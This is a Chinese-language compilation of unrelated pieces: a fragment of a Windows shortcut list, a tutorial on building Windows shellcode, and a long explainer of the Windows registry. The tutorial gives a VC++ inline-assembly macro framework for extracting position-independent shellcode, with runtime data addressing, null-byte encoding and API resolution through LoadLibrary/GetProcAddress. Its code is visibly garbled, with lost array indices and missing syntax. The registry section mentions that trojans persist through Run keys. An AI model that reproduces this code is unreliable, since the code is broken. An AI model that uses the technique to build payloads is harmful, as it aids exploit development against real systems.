Windows徽标+PRINT SCREEN将屏幕复制到剪贴板（包括鼠标光标）

Windows徽标+SCROLL LOCK将屏幕复制到剪贴板（不包括鼠标光标）

Windows徽标+ PAGE UP切换反色。

Windows徽标+ PAGE DOWN切换跟随鼠标光标

Windows徽标+向上箭头增加放大率

Windows徽标+向下箭头减小放大率

八、使用辅助选项快捷键
目的快捷键
切换筛选键开关右SHIFT八秒
切换高对比度开关左ALT+左SHIFT+PRINT SCREEN
切换鼠标键开关左ALT+左SHIFT+NUM LOCK
切换粘滞键开关 SHIFT键五次
切换切换键开关 NUM LOCK五秒


windows下生成shell的一种新方法

shell实际上就是一小段可执行程序，有代码段、数据段和堆栈。只不过这段程序在内存中的位置只有在程序执行时才能确定，而在编译时并不能知道，这就给我们的编程带来了不少麻烦，数据不好定位与赋值。UNIX下的jmp、call定位在我的VC上好像不太行；而数据的赋值一般用mov byte ptr[ebp-x],'?'来进行，既麻烦、又浪费间。另外要得到shell的代码，还得用VC中的disassembly命令。那么有没有好一点的办法呢？先看一下下面的程序：

#include <stdio.h>
#include <windows.h>
#include <stddef.h>
void main()
{
char *buff,*data,shell[500];
long off;
int i
__asm
{
mov eax,offset begin
mov buff,eax
mov off,offset end
sub off,eax
}
for(i=0;i<off;i++)
shell=buff;

for(i=0;i<4;i++) //写入偏移值(代码段的大小)
{char ch=(char)(off>>(8*i));
shell[4+i]=ch;
}

//初始化数据段
data=shell+off;
data[0]=0x01;
....

//输出shell
FILE *fp;
fp=fopen("shell","w");
fwrite(shell,off+？,1,fp);
fclose(fp);
return;

//shell
begin://shell开始
__asm{
mov ebp,esp
add ebp,0x11111111 //偏移值
…
}
end://shell结束
;
}
首先应该注意到，程序没有执行完就return了，后面不被执行的地方就是我们要的shell代码，程序一开始就用一个buff指针指向这里。然后就把buff中的内容移到一个shell数组中，这就是我们要的shell代码段了。off是shell代码段的大小，data=shell+off,即data指向shell代码段之后，这就中数据段了，可以直接用data[x]=？对数据段进行初始化（是不是很方便？）。最后输出shell数组中的内容，就是完整的shell了,输出的格式可以自己定义，这里是以十六进制格式直接输出到一个文件中。
上面是shell数据的初始化与shell的输出。shell中数据段是如何定位的。大家看看不被执行的那一段汇编程序，mov ebp,esp，使ebp指向shell的代码段（运行时）开始处。add ebp,0x11111111,使ebp的指针下移（0x11111111并不是最终值，这个0x11111111会前面的shell[4+i]=?处中被off覆盖，4是0x11111111在shell中的偏移量）,指向数据段（运行时）起始处。这下好了前面写入data[x]中的数据，我们可以在shell中用[ebp+x]来访问（也就是说shell与data形成了一一应的关系）。这里直接用off覆盖可能会产生0，我们可以把off与0xffffffff进行异或再覆盖，当然在shell中也要异或一次。最后我们把上面的程序稍作改动，并定义成宏。并把一些常用的操作也定义成宏，如下：

/*********shell.h*************/
/***程序框架的宏************/
#define SHELLDATA \
void main()\
{\
char *BUFF,*DATA,SHELL[50000];\
int CODESIZE,DATASIZE=0;\
int I;\
__asm mov eax,offset begin\
__asm mov BUFF,eax\
__asm mov CODESIZE,offset end\
__asm {sub CODESIZE,eax }\
for(I=0;I<CODESIZE;I++)\
SHELL=BUFF;\
for(I=0;I<4;I++)\
{ char ch=(char)(CODESIZE>>(8*I));\
SHELL[7+I]=(char)0xff-ch;\
}\
DATA=SHELL+CODESIZE;

#define SHELLCODE\
return;\
begin:\
__asm mov ebp,0xffffffff\
__asm xor ebp,0x11111111\
__asm add ebp,esp

#define SHELLEND\
end:\
;\
}

/***赋值用的宏************/
#define STRING(ID,STR)\
strncpy(&DATA[ID],STR,strlen(STR)+1);\
if(DATASIZE<ID+(int)strlen(STR)+1)\
DATASIZE=ID+(int)strlen(STR)+1;

#define CHAR(ID,VAULE)\
DATA[ID]=VAULE;\
if(DATASIZE<ID+1)\
DATASIZE=ID+1;

#define INT(ID,VAULE)\
for(I=0;I<4;I++)\
{ char ch=(char)(VAULE>>(8*I));\
DATA[ID+I]=(char)ch;\
}\
if(DATASIZE<ID+4)\
DATASIZE=ID+4;

/***为使写SHELL方便，而定义的一些宏***********/

#define D(x) [ebp+x]
#define P(x) push x
#define L(x) }__asm lea edx,x __asm {push edx

#define INVOKE0(f) {call dword ptr f}
#define INVOKE1(f,p1) {p1}{call dword ptr f}
#define INVOKE2(f,p1,p2) {p2}{p1}{call dword ptr f}
#define INVOKE3(f,p1,p2,p3) {p3}{p2}{p1}{call dword ptr f}
#define INVOKE4(f,p1,p2,p3,p4) {p4}{p3}{p2}{p1}{call dword ptr f}

/***函数**********************/
void OUTPUT(char *shell,int num)
{
FILE *fp;
fp=fopen("shell","w");

//Hex输出
//fwrite(shell,num,1,fp);

//数组形式输出
for(int i=0;i<num;i++)
{fprintf(fp,"0x%x,",(unsigned char)shell);
if((i+1)%10==0)
fprintf(fp,"\n");
}

fclose(fp);
}

这里的SHELLDATA等是原来的程序主框架，是必须的；CHAR、STRING等宏是为了初始化数据时方便而写的的，第一个参数是一个整数，指明该参数在数据段中的位置。INVOKE4(f,p1,p2,p3,p4)中的4指的是函数中参数的个数是4个，f指的是函数名的地址如：可为[ebp+4]，p1,p2是参数必须用L（地址入栈），P（直接入栈）来调用。例如:MessageBox函数的入口地址在[ebp+4]中，正文在[ebp+8]中，标题在[ebp+24]中，那么可写为
xor eax,eax
INVOKE4([ebp+4],P(eax),L([ebp+8]),L([ebp+24]),P(eax) )

到此，我们的程序就应该成如下格式：
#include <stdio.h>
#include <windows.h>
#include <stddef.h>
#include "shell.h"
SHELLDATA
//定义数据
STRING（0，"abcdefg")
INT(8,25)
CHAR(12,'A')
……
//输出shell
OUTPUT(SHELL, CODESIZE+DATASIZE);
SHELLCODE
__asm{
//shell汇编代码
...
}
SHELLEND

接下来就是要找函数的API地址了，我们可以的LoadLibrary和GetProcAddress的入中地址放在DATA[0],DATA[4]中，以后可以直接使用call [ebp],call [ebp+4]（CALL [ebp]会出现0,可用mov eax,ebp,call[eax]代替）。
要找地址的函数名放在DATA数组中，可从DATA[8]开始。函数名在找到地址后就没有用了，就把找到的地址放在函数名的位置（把函数名覆盖），这样有一个好处:可以直接根据函数名的位置访问函数。
数据段中的0要进行处理，我们可以在数据初始化之后，输出之前进行加密（用C在程序中实现），在SHELL的开头进行解密。这样得到的SHELL中的字符是加过密的，运行时自动解密，不要再另行处理了，十分方便。

由于本人对VC及宏不太了解，上面的一些代码并不合理，如INVOKE能不能用一个宏来写，数据初始时能不能自动定位，这些都有待广大读者来解决。


Windows注册表背后的秘密

    windows注册表方面的文章已经有好多，但是其中更多的内容还是很多windows注册表的技巧，很多用户都是“知其然不知其所以然”，而且很多的技巧所涉及的键和键值根本不为人所知的。这样并没有对注册表有一个系统的介绍。下面这篇文章分三个部分：注册表和它的用途，注册表的结构，注册表的问题和故障恢复。希望让计算机新手对注册表有一个简单、全面的概念和了解。关于注册表使用技巧和窍门很多文章都有介绍，在此就不赘述。其中翻译不恰当和错误之处，望大家指正。

    注册表后面的秘密
    （一）注册表和它的角色

    什么是注册表？
    注册表因为它复杂的结构和没有任何联系的CLSID键使得它可能看上去很神秘。不幸的是，微软并没有完全公开讲述关于注册表正确设置的支持信息，这样使得注册表看上去更不可琢磨。处理和编辑注册表如同“黑色艺术”一样，它在系统中的设置让用户感觉象在黑暗中摸索一样找不到感觉。这样，因为用户对这方面的缺乏了解使得注册表更多的出现故障。
    Windows注册表是帮助Windows控制硬件、软件、用户环境和Windows界面的一套数据文件，注册表包含在Windows目录下两个文件system.dat和user.dat里，还有它们的备份system.da0和user.da0。通过Windows目录下的regedit.exe程序可以存取注册表数据库。在以前，在windows的更早版本（在win95以前），这些功能是靠win.ini，system.ini和其他和应用程序有关联的.ini文件来实现的.
    在windows操作系统家族中，system.ini和win.ini这两个文件包含了操作系统所有的控制功能和应用程序的信息，system.ini管理计算机硬件而win.ini管理桌面和应用程序。所有驱动、字体、设置和参数会保存在.ini文件中，任何新程序都会被记录在.ini文件中。这些记录会在程序代码中被引用。因为受win.ini和system.ini文件大小的限制，程序员添加辅助的.INI文件以用来控制更多的应用程序。举例来说，微软的Excel有一个excel.ini文件，它包含着选项、设置、缺省参数和其他关系到Excel运行正常的信息。在system.ini和win.ini中只需要指出excel.ini的路径和文件名即可。
    最开始，system.ini和win.ini控制着所有windows和应用程序的特征和存取方法，它在少数的用户和少数应用程序的环境中工作的很好。随着应用程序的数量和复杂性越来越大，则需要在.ini文件中添加更多的参数项。这样下来，在一个变化的环境中，在应用程序安装到系统中后，每个人都会更改.ini文件。然而，没有一个人在删除应用程序后删除.ini文件中的相关设置，所以system.ini和win.ini这个两个文件会变的越来越大。每增加的内容会导致系统性能越来越慢。而且每次应用程序的升级都出现这样的难题：升级会增加更多的参数项但是从来不去掉旧的设置。而且还有一个明显的问题，一个.ini文件的最大尺寸是64KB。为了解决这个问题，软件商自己开始支持自己的.ini文件，然后指向特定的ini文件如win.ini和system.ini文件。这样下来多个.ini文件影响了系统正常的存取级别设置。如果一个应用程序的.ini文件和WIN.INI文件设置起冲突，究竟是谁的优先级更高呢？
    注册表最初被设计为一个应用程序的数据文件相关参考文件，最后扩展成对于32位操作系统和应用程序包括了所有功能下的东东.注册表是一套控制操作系统外表和如何响应外来事件工作的文件。这些“事件”的范围从直接存取一个硬件设备到接口如何响应特定用户到应用程序如何运行等等。注册表因为它的目的和性质变的很复杂，它被设计为专门为32位应用程序工作，文件的大小被限制在大约40MB。

    注册表都做些什么？
    注册表是为Windows NT和Windows95中所有32位硬件/驱动和32位应用程序设计的数据文件。16位驱动在Winnt下无法工作，所以所有设备都通过注册表来控制，一般这些是通过BIOS来控制的。在Win95下，16位驱动会继续以实模式方式设备工作，它们使用system.ini来控制。16位应用程序会工作在NT或者Win95 下，它们的程序仍然会参考win.ini和system.ini文件获得信息和控制。
    在没有注册表的情况下，操作系统不会获得必须的信息来运行和控制附属的设备和应用程序及正确响应用户的输入。
    在系统中注册表是一个记录32位驱动的设置和位置的数据库。当操作系统需要存取硬件设备，它使用驱动程序，甚至设备是一个BIOS支持的设备。无BIOS支持设备安装时必须需要驱动，这个驱动是独立于操作系统的，但是操作系统需要知道从哪里找到它们，文件名、版本号、其他设置和信息，没有注册表对设备的记录，它们就不能被使用。
    当一个用户准备运行一个应用程序，注册表提供应用程序信息给操作系统，这样应用程序可以被找到，正确数据文件的位置被规定，其他设置也都可以被使用。
    注册表保存关于缺省数据和辅助文件的位置信息、菜单、按钮条、窗口状态和其他可选项。它同样也保存了安装信息（比如说日期），安装软件的用户，软件版本号和日期，序列号等。根据安装软件的不同，它包括的信息也不同。
    然而，一般来说，注册表控制所有32位应用程序和驱动，控制的方法是基于用户和计算机的，而不依赖于应用程序或驱动，每个注册表的参数项控制了一个用户的功能或者计算机功能。用户功能可能包括了桌面外观和用户目录。所以，计算机功能和安装的硬件和软件有关，对所以用户来说项都是公用的。
    有些程序功能对用户有影响，有些时作用于计算机而不是为个人设置的，同样的，驱动可能是用户指定的，但在很多时候，它们在计算机中是通用的。
    注册表控制用户模式的例子有：
    控制面板功能；
    桌面外观和图标；
    网络参数；
    浏览器功能性和特征；
    那些功能中的某些是和用户无关的，有些是针对用户的。
    计算机相关控制项基于计算机名，和登陆用户无关。控制类型的例子是安装一个应用程序，不管是哪个用户，程序的可用性和存取是不变的，然而，运行程序图标依赖于网络上登陆的用户。网络协议可用性和优先权基于计算机，但是当前连接和用户信息相关。
    这里是在注册表中基与计算机控制条目的一些例子：
    存取控制；
    登陆确认；
    文件和打印机共享；
    网卡设置和协议；
    系统性能和虚拟内存设置；
    没有了注册表，Win95和Winnt 就不太可能存在。它们实在太复杂了，以致于用过去的.ini文件无法控制，它们的扩展能力需要几乎无限制的安装和使用应用程序，注册表实现了它。然而，注册表比.ini文件更复杂，理解它如何工作，它做什么和如何用它来做是有效管理系统的关键。
    在系统中注册表控制所有32位应用程序和它们的功能及多个应用程序的交互，比如复制和粘贴，它也控制所有的硬件和驱动程序。虽然多数可以通过控制面板来安装和设置，理解注册表仍是做Winnt和Win95系统管理基本常识。

    二、注册表的结构
    注册表的结构
    注册表是Windows程序员建造的一个复杂的信息数据库，它是多层次式的。在不同系统上注册表的基本结构相同。其中的复杂数据会在不同方式上结合，从而产生出一个绝对唯一的注册表。
    计算机配置和缺省用户设置的注册表数据在Winnt中被保存在下面这五个文件中：
    DEFAULT，SAM，SECURITY，SOFTWARE，SYSTEM，NTUSER.DAT。
    Win95中所有系统注册信息保存在windows目录下的SYSTEM.DAT文件里。所有硬件设置和软件信息也保存在这个文件。它要比NT注册表文件简单的多，因为这里并不需要更多的控制。Win95被设计为一个网络的客户或者单独工作的系统，所以用户控制或者安全级别和NT不一样。这使得Win95注册表工作比NT更容易，所以这个文件也比较小。
    Win95用户的注册数据一般被保存在windows目录下的user.dat里。如果你在控制面板|密码|用户配置文件中创建并使用多于一个用户的配置文件，每个用户就会有在\WINDOWS\Profiles\username\USER.DAT下它自己的user.dat文件。在启动时，系统将记录你的登陆，从你目录中的配置文件（USER.DAT信息）将被装入，以用来保持你自己的桌面和图标。

    控制键
    在注册表编辑器中注册表项是用控制键来显示或者编辑的。控制键使得找到和编辑信息项组更容易。因此，注册表使用这些条目。下面是六个控制键
    HKEY_LOCAL_MACHINE
    HKEY_CLASSES_ROOT
    HKEY_CURRENT_CONFIG
    HKEY_DYN_DATA
    HKEY_USERS
    HKEY_CURRENT_USER

    Winnt和Win95的注册表并不兼容。从Win95向Winnt升级需要你重新安装32位应用程序，重新在桌面上创建图标，并重新建立用户环境。
    通过控制键可以比较容易编辑注册表。虽然它们显示和编辑好象独立的键，其实HKEY_CLASSES_ROOT 和HKEY_CURRENT_CONFIG是 HKEY_LOCAL_MACHINE的一部分。HKEY_CURRENT_USER是HKEY_USERS的一部分。
    HKEY_LOCAL_MACHINE包含了HKEY_CLASSES_ROOT和HKEY_CURRENT_CONFIG的所有内容。每次计算机启动时，HKEY_CURRENT_CONFIG和HKEY_CLASSES_ROOT的信息被映射用以查看和编辑。
    HKEY_CLASSES_ROOT其实就是HKEY_LOCAL_MACHINE\SOFTWARE\Classes，但是在HKEY_CLASSES_ROOT窗编辑相对来说显得更容易和有条理。
    HKEY_USERS保存着缺省用户信息和当前登陆用户信息。当一个域成员计算机启动并且一个用户登陆，域控制器自动将信息发送到HKEY_CURRENT_USER里，而且HKEY_CURRENT_USER信息被映射到系统内存中。其他用户的信息并不发送到系统，而是记录在域控制器里。

    键和子键
    数据被分割成多层次的键和子键，建立分层次（就象Exploer一样）结构更易于编辑。每个键有成组的信息而且根据在其中的数据类型被命名。每个键在它的文件夹图标上都有一个加号（+）标志子键说明在它下面还有更多内容的东西。当点开它的时候，文件夹的加号标志被替换成一个减号（-）标志，然后显示出下一级的子键。
    所有软件，硬件，windows工作的设置都存放在HKEY_LOCAL_MACHINE。所有安全策略，用户权限和共享信息也包括在这个键中。用户权限，安全策略，共享信息可以通过Windows NT域用户管理器，Explorer和Win95中控制面板来设置。
    HKEY_CLASSES_ROOT
    HKEY_CLASSES_ROOT包含了所有应用程序运行时必需的信息：
    在文件和应用程序之间所有的扩展名和关联;
    所有的驱动程序名称;
    类的ID数字（所要存取项的名字用数字来代替）;
    DDE和OLE的信息;
    用于应用程序和文件的图标;
    HKEY_CURRENT_CONFIG.
    HKEY_CURRENT_CONFIG是在HKEY_LOCAL_MACHINE中当前硬件配置信息的映射。如果系统只有一个配置文件，也就是原始配置，数据将一直在同样的地方。在控制面板|系统|硬件配置文件|创建一个额外的配置使额外配置信息放入HKEY_LOCAL_MACHINE。当Win95中存在多个配置文件时，当每次计算机启动时将给出一个提示让你选择一个配置文件。在Winnt中，在启动时你可以按空格键来选择上次正常启动时硬件配置文件。根据硬件配置文件选择的不同，特定的信息被映射到HKEY_CURRENT_CONFIG。
    HKEY_DYN_DATA
    HKEY_DYN_DATA和其他的注册表控制键不同，因为实际上它并不被写入硬盘驱动器中。Win95的一个优点是，在系统启动时HKEY_DYN_DATA这个控制键储存收集到的即插即用信息并配置它们。它保存在内存中，Win95用它来控制硬件。因为是在内存中，所以它不从硬盘中读取，每次当你启动计算机时，配置都有可能会不一样。在启动时Win95必须计算超过1600种可能的配置。所以，如果系统改变既定的设置而没有报告给Win95那么潜在的问题就可能发生。系统大多数时间工作良好，但是并非一直如此。
    HKEY_USERS
    HKEY_USERS仅包含了缺省用户设置和登陆用户的信息。虽然它包含了所有独立用户的设置，但在用户未登陆网络时用户的设置是不可用的。这些设置告诉系统哪些图标会被使用，什么组可用，哪个开始菜单可用，哪些颜色和字体可用，和控制面板上什么选项和设置可用。
    HKEY_CURRENT_USER
    用来保存当前用户和缺省用户的信息，HKEY_CURRENT_USER仅映射当前登陆用户的信息。

    各主键的简单介绍
    HKEY_LOCAL_MACHINE
    HKEY_LOCAL_MACHINE是一个显示控制系统和软件的处理键。HKLM键保存着计算机的系统信息。它包括网络和硬件上所有的软件设置。（比如文件的位置，注册和未注册的状态，版本号等等）这些设置和用户无关，因为这些设置是针对使用这个系统的所有用户的。
    HKEY_LOCAL_MACHINE\AppEvents
    为了以后在瘦客户机上运行客户机/服务器这样的应用程序，在Win95/98中AppEvents键是空的。应用程序实际上都驻留网络服务器上，这些键会保存部分指针。
    HKEY_LOCAL_MACHINE\Config
    这个键保存着你计算机上所有不同的硬件设置（这些从控制面板的系统属性中硬件配置文件中可以创建）。这些配置在启动时通常被复制到HKCC。每个配置会被用一个键（比如0001或者0002等等）来保存，每个都是一个独立的配置。如果你只有一个单一的配置，那就只会有0001这个键
    HKEY_LOCAL_MACHINE\Config\0001\Display
    这个键表示显示的设置，如荧屏字体，窗体大小，窗体位置和分辨率等
    一个小技巧：当设置了计算机不支持的大分辨率导致Windows不能启动时(黑屏），可以修改分辨率来解决。进入安全模式，运行regedit.exe，在这个键的Resolution键值中把数据值修改为640,480或者800,600这样的低分辨率，然后重新启动计算机即可。
    HKEY_LOCAL_MACHINE\Config\0001\System
    这个键保存着系统里打印机的信息
    HKEY_LOCAL_MACHINE\Config\0001\System\CurrentControlSet\Control\Print\Printers
    在这个键下面，有一个键是为系统上每一个打印机设置的，通过控制面板添加和删除打印机会调整这个列表
    HKEY_LOCAL_MACHINE\Enum
    Enum键包含启动时发现的硬件设备和那些既插即用卡的信息。Win95使用总线列举在启动时通过不同的.ini文件来检测硬件信息。那些在启动时被安装的和被检测到的硬件会显示在这里。子键包括BIOS, ESDI, FLOP, HTREE, ISAPNP, Monitor, Network, Root, SCSI, 和 VIRTUAL。子键名表示它们各自的硬件设备信息。
    HKEY_LOCAL_MACHINE\Enum\BIOS
    BIOS键保存着系统中所有即插即用设备的信息。它们用一套代码数列出，包括每一个键的详细说明，举例，*pnp0400是并行口LPT1的键。如果LPT1并不具备即插即用功能，它就会别列入到Enum下的Root键中
    HKEY_LOCAL_MACHINE\Enum\Root
    Root键包括所有非即插即用设备的信息。在这里，我们可以迅速断定哪些设备是即插即用，那些不是。比如SCSI适配器，这个设备必须符合Win95中一个键名为ForcedConfig的硬件设置，这个不会改变。
    HKEY_LOCAL_MACHINE\Enum\Network
    win95的网络功能在这个键有详细说明，子键包括了每个已经安装的主要的服务和协议。
    HKEY_LOCAL_MACHINE\HARDWARE
    hardware子键包括了两个多层的子键：DESCRIPTION键，它包含了中央处理器和一个浮点处理器的信息。还有一个设备映射键，它下面的串行键列出你所有的com端口。这个hardware键仅保存超级终端程序的信息，及数学处理器和串行口。
    HKEY_LOCAL_MACHINE\Network
    这个键仅保存网络登陆信息。所有网络服务细节都保存在HKEY_LOCAL_MACHINE\Enum\Network这个键中。这个键有一个子键，logon，包括了lmlogon（本地机器登陆？0=false 1=true）的值，logonvalidated（必须登陆验证），策略处理，主登陆方式（Windows登陆 ，微软网络客户方式等），用户名和用户配置。
    HKEY_LOCAL_MACHINE\SECURITY
    security 有两个子键，第一个是存取（它最终致使一个远程键列出网络安全资源，存取权限等）和提供（包括列出网络地址和地址服务器），这个键被保留用在以后使用高级安全功能和NT兼容性上
    HKEY_LOCAL_MACHINE\SOFTWARE
    这个键列出了所有已安装的32位软件和程序的.ini文件。它包括了变化，依靠软件安装。那些程序的控制功能在这里的子键中列出。多数子键简单的列出了安装软件的版本号。
    我们在\Microsoft\Windows\Current Version下发现了一些有意思的设置，它有如下子键：
    1.App paths： 你曾经安装过的所有32位软件的位置。
    2.Applets, Compression, Controls Folder : 包括下控制面板象显示属性那样属性条的附件。
    3.Detect, explorer :很多有意思的子键如Namespace keys of Desktop和My Computer----它们指出了回收站和拨号网络的CLSID行----和提示子键可以让你建立自己的提示。
    4.Extensions : 一个扩展联系的列表，当前相关联的扩展名和比特定的执行文件更适合的目标类型。
    5.Fonts, fontsize, FS Templates :系统属性条中所选择文件系统模板， 服务器，桌面计算机或者笔记本电脑信息。
    6.MS-DOS Emulation :包括一个应用程序兼容子键 为大量过时的程序二进制键所设。
    7.MS-DOS Options :在dos模式下的设置，如himem.sys，cd-roms等。
    8.Network :网络驱动的配置。
    9.Nls, Policies :系统管理员认为你不应该去做的事。
    10.ProfileList :所有可以登陆你计算机的用户名列表。
    11.在Windows启动时运行的程序的神秘之处是它们并不在开始菜单的启动文件夹中。它们在HKEY_LOCAL_MACHINE\Microsoft\Windows\CurrentVersion\下的子键中被执行。
    Run : 程序在启动时运行
    RunOnce : windows初始化时程序在启动时只运行一次，这个经常用在当安装软件之后需要重新启动系统的时候，所以这个键一般都是空的。
    RunServices : 它就象Run一样，但是包含了“服务”，它不象一般的程序它们是比较重要的或者是“系统”程序。但是它们不是VXDs,就象McAfee或者RegServ工作一样。
    RunServicesOnce : 它只运行一次，但是是“系统自身”的安装（大量的windows安装参数:通常键值包括了系统目录位置，和win95更新，可选项安装组件，和windows启动目录的子键。
    注意：在很多黑客木马软件中，常常在这里添加键值（一般是在Run中），这样使得木马软件可以随着windows启动而启动并且很隐秘。在这里可以查看不正常的启动项和去掉无用的运行程序（比如我就很不喜欢超级解霸的自动伺服器，在这里可以去掉它）。
    12.SharedDLLs：共享DLL的列表，每一个都给出了在一个不可知系统的一个数字等级。
    13.Shell Extensions:列出了“被认可的”OLE注册条，和相应的CLSID连接。
    14.ShellScrap :这个包含了一个PriorityCacheFormats的子键，它包括了一个空的有限值，它更象过去SmartDrive命令行参数的派生。
    15.Time Zones : 主键值是你现在的时区；子键定义了所以可能的时区。
    16.Uninstall：这个保存了程序在添加/删除程序对话框的显示；子键包含了指向反安装程序的路径。和安装向导相似.......）winlogon（包含了合法登陆布告的文本句）
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet
    这个子键包括设备驱动和其他服务的描述和控制。不同于windows nt，win95只包括限制驱动的控制设置信息。
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control
    这个子键包括了win95控制面板中的信息。不要编辑这些信息，因为一些小程序的改变在很多地方，一个丢失的项会使这个系统变的不稳定
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
    这个键包括了所有win95的标准服务。所有被添加的服务和设备，每个标准的服务键包括了它的设置和辨认设置。
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Arbitrators
    atbitrators键包括了当两个设备共同占用同样的设置需要解决的信息。四个子键包括了内存地址，冲突，DMA，I/O端口冲突和IRQ冲突。
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Class
    class键包括了所有win95支持的设备classes控制，这些和你在添加新硬件出现的硬件组很类似，还包括了这些设备如何安装的信息。
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\inetaccs
    这个键包括了关于这个系统变化的ie附件的可用性，它仅在你安装过ie2。0或者更高版本才出现。
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSNP32
    msnp32描述了客户机如何在microsoft网络中实现功能，它包括了认证过程和认证者的信息。
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NWNP32
    nenp32键描述了windows客户如何在netware网络中工作功能，它包括了关于认证过程和证明者的信息。
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RemoteAccess
    在这个键里包括需要远程工作在win95系统上的信息，有认证参数，主机信息，和为了建立一个拨号连接工作的协议信息。
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP
    这个键包括了所以snmp（简单网络管理协议）的参数。它包括了允许的管理，配置陷阱，和有效的团体。
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VxD
    vxd键包括了win95中所有32位虚拟设备驱动信息，win95自动管理它们，所以不必要用注册表编辑器编辑它们，所以的静态vxds用子键列出。
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WebPost
    webpost键包括了所有装载的internet邮局的设置，如果你连接一个isp，并且它列出载这里，你应该给自己选则一个服务器。
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Winsock
    这个键列出了当连接到internet上winnsock文件的信息，如果列出了不正确的文件，你将不会连接上internet。
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinTrust
    wintrust功能是检查从Internet上下载来的文件是否有病毒，它可以确保你得到干净安全的文件。

    HKEY_CLASSES_ROOT
    在注册表中HKEY_CLASSES_ROOT是系统中控制所有数据文件的项。这个在Win95和Winnt中是相通的。HKEY_CLASSES_ROOT控制键包括了所有文件扩展和所有和执行文件相关的文件。它同样也决定了当一个文件被双击时起反应的相关应用程序。
    HKEY_CLASSES_ROOT被用作程序员在安装软件时方便的发送信息，在Win95和Winnt中，HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINE\Software\Classes是相同的。程序员在运行他们的启动程序时不需要担忧实际的位置，相反的，他们只需要在HKEY_CLASSES_ROOT中加入数据就可以了。
    在Windows用户图形界面下，每件事----每个文件，每个目录，每个小程序，每个连接，每个驱动---都被看做一个对象；每个对象都有确定的属性和它联系。HKCR包含着对象类型和它们属性的列表。HKCR主要的功能被设置为：
    一个对象类型和一个文件扩展名关联
    一个对象类型和一种图标关联
    一个对象类型和一个命令行动作的关联
    定义对象类型相关菜单选项和定义每一个对象类型属性选项
    在Win95中，相关菜单就是当你鼠标右击一个对象时所弹出的菜单；属性就是当你选择属性项后一个展开的对话框。用简单术语来说就是在改变HKCR中的设置可以改变一个给定文件扩展名缺省的关联。改变一个文件类型的缺省图标，和添加或者删除给定对象类型的弹出菜单内容（或者所有的对象类型）
    HKCR包括了三种基本类型的子键
    \??? 或者文件扩展名子键
    文件扩展名子键在弹出菜单上连接文件扩展名到对象类型和相关操作，属性项，和相关操作。
    \object 类型子键
    对象类型子键定义了一个对象类型在它缺省图标的项，它的弹出菜单和属性项，它的相关操作和它的CLSID连接。
    \CLSID 子键
    在Windows下每件事都被用一个数字取代它的名字来对待。就象人往往是用名字来处理事情一样。CLSID是标识所有列出的图标，应用程序，目录，文件类型等等对象的数字。是微软为制造商分配的，每一个都必须是唯一的。制造商将CLSID放入安装程序文件这样就可以在安装时更新注册表。
    注册表是应用程序进行时它们需要关于做什么的指示的数据库。比如说，假定你有一个微软Excel 7电子数据表的Word 7文档，当你在Word中双击这个电子数据表，应用程序菜单就会变成Excel的菜单而且电子数据表进入编辑状态，就好象你在Excel中一样。它是如何知道该做什么呢？每个Excel 7创建的文件都有Excel的CLSID连接。Word读这个CLSID后，到注册表中寻找指示，依赖CLSID下的数据运行.DLL文件或者应用程序。
    CLSID子键为对象类型提供了OLE和DDE信息和图标。相关菜单，或者包含在它子键中的属性项信息。这个可能是多数让人看到后觉得“恐怖”的键。每个CLSID数必须是唯一的，实际上，为了这个目的微软已经出产了CLSID-产生程序--这个结果导致你往往得到32位16进制的数字串，除非你是程序员，否则多数部分键看起来是很枯燥的。它们包括内存管理模式，客户机/服务器配置，和OLE处理的.dll连接。
    关于子键的一点注解
    1)shell:Shell键有个一”action“子键，如同”open“一样，这里有一个command子键；command子键有一个缺省句值，它包含了运行程序的命令行。将一个”open“子键放在一个对象类型的shell子键中会在这个对象类型的弹出菜单上多出一个”open“选项，给这个open子键一个command（缺省命令行"C:\Windows \Notepad.exe %1")子键会使得打开这个对象类型时使用笔记本做为缺省应用程序。其他操作选项包括View,Print,Copy,Virus,Scan等等。
    2)shellex:Shellex键有一个子键。它们包含的每一个子键指向一个为对象类型执行OLE和DDE功能的CLSID项（比如说快速查看，一个菜单处理子键下指向一个有句值的CLSID键列出了包含了文件浏览功能的.dll文件）
    3)shellnew:ShellNew包含了一个“command”句，它包含了一个打开对象类型“新”文件的命令行。
    4)DefaultIcon:DefaultIcon子键包含了一个“default”句，它包括了一个指向图标的命令行（比如说，"C:\Windows \System \shell32.dll,2" 2就是从0数的第三个图标，记住，是在Shell32.dll中的）
    除了和它们扩展名关联扩展名和文件类型以外，它们在HKEY_CLASSES_ROOT还有很多项。所有它们的项也都适用于nt，如界面和应用程序的执行。通常你将编辑仅仅一小部分这样的项。除了弹出菜单提示以外，所有包含在这里的项只会在安装应用程序，在程序中设置调整或者创造关联时被改变。
    没有HKEY_CLASSES_ROOT你是不能启动系统的；你手工编辑它真的是很困难。HKEY_CLASSES_ROOT是你需要注册标一个很重要的原因：应用程序的控制和操作这个系统。看到它的尺寸和这个处理键的复杂程度，SYSTEM.INI 和 WIN.INI不再够用也是不用惊奇的。

HKEY_CURRENT_CONFIG
    win95一般只使用一个硬件配置文件。如果有多个硬件配置文件。HKEY_LOCAL_MACHINE\Config中就会添加一个键。HKEY_LOCAL_MACHINE\Config包含了HKEY_LOCAL_MACHINE中相同的数据
    在启动时，你可以选择你愿意使用的配置文件。如果有多个安装，每次系统重新启动时，你就必须选择.HKEY_CURRENT_CONFIG是在启动时控制目前硬件配置的键
    在系统启动以后，任何地方的变化都会自动影响到它。程序员经常使用HKEY_CURRENT_CONFIG方便的来存取配置信息。
